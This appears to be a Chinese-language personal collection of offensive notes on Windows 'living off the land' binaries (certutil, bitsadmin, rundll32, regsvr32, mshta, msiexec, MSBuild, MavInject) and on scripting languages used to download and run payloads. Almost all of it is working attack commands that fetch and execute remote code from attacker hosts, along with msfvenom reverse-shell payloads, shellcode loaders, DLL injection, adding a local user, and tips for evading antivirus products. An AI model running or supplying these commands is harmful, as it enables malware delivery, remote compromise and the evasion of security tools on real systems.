- 参考资料
- 小Tips
- 半路收集的
- 0、浏览器
- 除了cmd /c 以外可以直接跟命令执行的
- 非windows标准模块
- 常用
- 其他
- 加载DLL文件
- 常规语言
- http://192.168.1.101/test.txt“, “file.txt”);">!perl#!/usr/bin/perluse LWP::Simple;getstore(“http://192.168.1.101/test.txt“, “file.txt”);
- !ruby
- !/usr/bin/ruby
- !/usr/bin/php
参考资料
https://toutiao.io/posts/uh65arq/preview
https://www.freebuf.com/system/232074.html
https://lolbas-project.github.io/
这个文章写的太好了,对这篇文章和自己平时收集的做点总结,只有总结过的才是自己的,不然永远是别人的
小Tips
针对一些杀软,可以cp到别的文件夹,然后重命名,或添加一些签名,可能可以运行下载的指令
半路收集的
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
finger kali@192.168.180.190 | more +8 >1.txt
https://www.slashroot.in/finger-server-configuration-linux。
0、浏览器
start firefox http://xxxxxx/demo.rar
start chrome http://xxxxxx/demo.rar
start msedge http://xxxxxx/demo.rar
上面三种都会默认下载到C:\Users\username\Downloads 这个目录下, username 是当前用户名称
ping %USERNAME%.xxx.xx.dnslog.cn 可以获取到用户名 拼接即可
一条命令
start msedge http://xxxxx/123123123.rar && ping -n 10 127.0.0.1 >NUL && for /f %k in ('cmd /v:off /Q /c "for /f %i in (^'wmic logicaldisk get caption ^| findstr ":"^') do dir %i\ /b /s 2>nul | findstr "123123123.rar""') do set kk=%k && (set dd=%kk:123123123.rar=123456.exe%) && rename %k 123456.exe && ping -n 10 127.0.0.1 >NUL && cmd /c %dd%
除了cmd /c 以外可以直接跟命令执行的
1、Pcalua
Pcalua是Windows进程兼容性助理(Program Compatibility Assistant)的⼀个组件。
pcalua.exe -a calc.exe 可以直接执行命令
pcalua.exe -a 1.bat
默认在C:\Windows\System32\pcalua.exe
2、其他的
1、forfiles /c whoami
forfiles /p c:\windows\system32 /m cmd.exe /c "msiexec.exe / q /i
http://127.0.0.1/TIDE.txt
免杀效果不好
2、explorer.exe /root,”C:\Windows\System32\calc.exe”
3、Scriptrunner.exe -appvscript calc.exe
4、tttracer.exe C:\windows\system32\calc.exe——报错了
以及
rundll32 advpack.dll, RegisterOCX calc.exe
rundll32 advpack.dll, #12 calc.exe
rundll32 advpack.dll, #+12 calc.exe
rundll32 advpack.dll, #-4294967284 calc.exe
rundll32 advpack.dll, #-123-xx calc.exe
rundll32 ieadvpack.dll,#+12 calc.exe
rundll32 url.dll, OpenURL file://c:\windows\system32\calc.exe
rundll32 url.dll, OpenURLA file://c:\windows\system32\calc.exe
rundll32 url.dll, FileProtocolHandler calc.exe
rundll32.exe [dll]
非windows标准模块
1、elevate.exe
很多程序都有该签名的白名单例如ali,tx
elevate.exe -k cmd.exe "net user 1 1 /add"
2、Te.exe
如果安装了TAEF框架,可以使用
C:\ program files(x86)\Windows Kits\10\testing\Runtimes\TAEF
需要使用wcs文件
https://gist.github.com/N3mes1s/5b75a4cd6aa4d41bb742acace2c8ab42
主要利用代码为VBS替换.wsc⽂件里的
3、 diskshadow.exe
可公开卷影复制服务(VSS)提供的功能。默认情况 下,diskshadow使⽤类似于diskraid或DiskPart的交互式命令解释器。diskshadow 还包括可编写脚本的模式,存在于server的主机下,我们获取域控权限会用到它。
diskshadow.exe /s 1.txt
1.txt内容为
EXEC evai.exe
EXEC calc.exe
4、IEEXC
(需要进入C:\Windows\Microsoft.NET\Framework64\v2.0.50727目录下)win2008测试好像不可用
caspol -s off
IEExec http://192.168.3.1/test.exe
5、使用nishang把exe转为hex,再转为exe
把exe转成hex文件输入: PS > .\ExetoText.ps1 evil.exe evil.txt 打开evil.txt文件,复制内容,然后通过RDP的剪贴板复制进目标计算机。 把hex文件还原成exe文件输入: PS > .\TexttoExe.ps1 evil.text evil.exe
常用
1、Bitsadmin
bitsadmin /rawreturn /transfer getfile http://192.168.1.101/test.txt /test1.txt
免杀方式:
可以将bitadmin里的签名删掉,可能有的杀软拦截的不是行为,而是恶意文件的特征。
2、Certutil
certutil -urlcache -split -f http://192.168.1.101/test.txt 11.txt
certutil -urlcache -split -f http://192.168.1.101/a.exe && a.exe && del a.exe
下载执行并删除
certutil -ur""lcac""he -split -f http://192.168.28.128/imag/evil.txt test.php
复制certutil到其他文件路径
copy C:\Windows\System32\certutil.exe C:\tmp\123.exe
运行不加参数的123.exe
然后运行加参数的123.exe就能绕过
123.exe -urlcache -split -f http://xxx/calc.exe C:\windows\temp\updates.exe
delete 参数可以删除缓存
123.exe | 123.exe -urlcache -split -f http://xxx/calc.exe C:\windows\temp\updates.exe delete
火绒会拦截exe,可以改为TXT,因为是PE格式所以其实无所谓
certutil&&certutil -urlcache -split -f http://192.168.1.101/test.txt 11.txt
certutil -urlcache -split -f http://x/calc.txt C:\windows\temp\updates.txt && C:\windows\temp\updates.txt
3、Wget
wget [http://192.168.1.101/11.jpg](http://192.168.1.101/11.jpg)
4、Curl
curl [http://192.168.1.101/11.jpg](http://192.168.1.101/11.jpg) -o 22.jpg
5、cscript/wscript
执行一个VBS脚本,脚本内远程命令下载执行某文件,主要关键在于VBS的免杀-之前有文章讲过
cscript download.vbs
以下脚本保存为download.vbs
‘ Set your settings strFileURL = “http://www.it1.net/images/it1_logo2.jpg“ strHDLocation = “c:\logo.jpg” ‘ Fetch the file Set objXMLHTTP = CreateObject(“MSXML2.XMLHTTP”) objXMLHTTP.open “GET”, strFileURL, false objXMLHTTP.send() If objXMLHTTP.Status = 200 Then Set objADOStream = CreateObject(“ADODB.Stream”) objADOStream.Open objADOStream.Type = 1 ‘adTypeBinary objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0’Set the stream position to the start Set objFSO = Createobject(“Scripting.FileSystemObject”) If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation Set objFSO = Nothing objADOStream.SaveToFile strHDLocation objADOStream.Close Set objADOStream = Nothing End if Set objXMLHTTP = Nothing
6、调用windows defence下载
MpCmdRun.exe -DownloadFile -url https://evil-server/beacon.exe -path c:\temp\beacon.exe
7、IEexec.exe
可直接运行exe,但是该exe需要由c#来编译生成
ieexec.exe http://1.1.1.1/test.exe
其他
1、IPC$
net use x: \\127.0.0.1\share /user:example.com\userID myPassword<br /> copy \\192.168.3.1\c$\test.exe E:\file
2、FTP
如果目标存在FTP的命令的话,如下所示
3、notepad下载(如果权限禁止你打开浏览器)
加载DLL文件
1、Odbcconf.exe
同样是依靠加载dll文件
odbcconf.exe /a {regsvr C:\Users\Administrator\Desktop\hacker.dll}
2、Regsvr32
regsvr32 /u /n /s /i:http://200.200.200.200:8000/payload.sct config.dll
3、Rundll32
执行32位的dll
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101/test.txt",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%
绕过执行(不过360) msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.5.102 lport=4444 -f dll > shellcode.dll rundll32 shell32.dll,Control_RunDLL C:\Users\Administrator\Desktop\shellcode.dll
5、Xwizard.exe
%windir%\system32\ 对应64位xwizard.exe,只能加载64位xwizards.dll
%windir%\SysWOW64\ 对应32位xwizard.exe,只能加载32位xwizards.dll
xwizard processXMLFile 1.txt
将生成的恶意dll文件放到修改成xwizards.dll,放到同目录下,这个有点类似于DLL劫持,1.txt为固定格式不用管他
PS: Xwizard.exe在研究过程中发现360安全卫⼠对其未进行为报警,初步猜测如 果dll⽂件免杀能力强的话,完全可以bypass大部分的杀毒软件
6、 MavInject32.exe
自带的windows进程dll注入。
MavInject32.exe PID /INJECTRUNNING "eval.dll"
常规语言
1、Powershell
$client = new-object System.Net.WebClient $client.DownloadFile(‘http://192.168.1.101/test.txt‘, ‘aa.txt’) start-process ‘c:\download\a.exe’ ——————执行
2、Perl
!perl#!/usr/bin/perluse LWP::Simple;getstore(“http://192.168.1.101/test.txt“, “file.txt”);
Perl test.pl
3、python
#!python#!/usr/bin/python
import urllib2 u = urllib2.urlopen(‘http://192.168.1.101/test.txt’)) l ocalFile = open(‘local_file’, ‘w’) localFile.write(u.read()) localFile.close()
python2 test.py
4、Ruby
!ruby
!/usr/bin/ruby
require ‘net/http’ Net::HTTP.start(“www.domain.com”) { |http| r = http.get(“/file”) open(“save_location”, “wb”) { |file| file.write(r.body) } }
5、PHP
!/usr/bin/php
<?php $data = @file(“http://example.com/file“); $lf = “local_file”; $fh = fopen($lf, ‘w’); fwrite($fh, $data[0]); fclose($fh); ?>
调用其他文件后缀格式
这里的不是我使用过的,根据看的网上文章进行了一个简单的收集和归纳
1、InfDefaultInstall.exe(sct)
https://gist.github.com/KyleHanslovan/5e0f00d331984c1fb5be32c40f3b265a
需要利用inf文件来调用sct文件,最后执行命令。
根据测试结果目前看来感觉免杀能力有限,而且混淆比较难做
2、Cmstp.exe(inf)
cmstp.exe /s cmstp.inf
3、pubprn.vbs(sct)
在Windows 7以上版本存在一个名为PubPrn.vbs的微软已签名WSH脚本,其位于C:\Windows\System32\Printing_Admin_Scripts\ en/zh-US,因为是vbs,可以直接调用。
pubprn.vbs 127.0.0.1 script:http://10.211.55.5/shellxxx2.sct
4、SyncAppvPublishingServer(ps代码)
该命令需要在powershell里执行
SyncAppvPublishingServer.vbs break; powershell代码
不过会被火绒直接告警
5、cdb.exe (wds后缀)
利用白名单文件 cdb.exe 执行 shellcode
https://github.com/Ryze-T/cdb-wds
6、Mshta(hta后缀)
mshta [http://192.168.1.101/calc.hta](http://192.168.1.101/calc.hta)<br /> 以下demo为本地弹出一个计算器
<HTML>
demo
7、MSBuild.exe(xml)
杀软行为检测:xml能免杀时不会触发杀软行为预警。
使用c#格式的来进行替换, 将生成的shellcode替换到下⾯代码的 byte[] shellcode = 处,并将⽂件保存为 shell2.xml
msbuild.exe shell2.xml
https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20shellcode.xml
8、msiexec(msi后缀):
msf生成msi重定向到某个特殊后缀例如(txt,png)<br />msiexec /passive /i http://x.x.x.x:8080/install.msi
1、msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png(测试) 2、msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f msi > Micropoor_rev_x64_53.txt 3、然后把生成的文件放在vps上下载 4、可成功弹出calc msiexec.exe -Z [dll] msiexec.exe -Y [dll]